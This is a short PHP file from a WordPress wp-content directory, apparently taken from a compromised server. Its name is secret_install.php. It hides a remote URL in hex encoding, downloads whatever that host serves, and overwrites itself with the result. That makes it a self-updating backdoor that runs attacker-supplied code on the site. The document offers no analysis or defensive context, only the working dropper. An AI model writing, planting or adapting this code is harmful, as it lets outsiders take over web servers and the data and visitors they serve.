File: //var/www/mussarq_bak2/wp-content/secret_install.php
<?php
function download($filename){
$url = hex2bin( '687474703a2f2f636f6e6e6563742e61706965732e6f72672f636c31336e742f5f66696c65732f736563726574' );
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($ch);
curl_close($ch);
$process = fopen($filename, "w+");
fwrite($process, $data);
fclose($process);
}
function download_et() {
$filename = __DIR__ . DIRECTORY_SEPARATOR . 'secret_install.php';
download($filename);
}
download_et();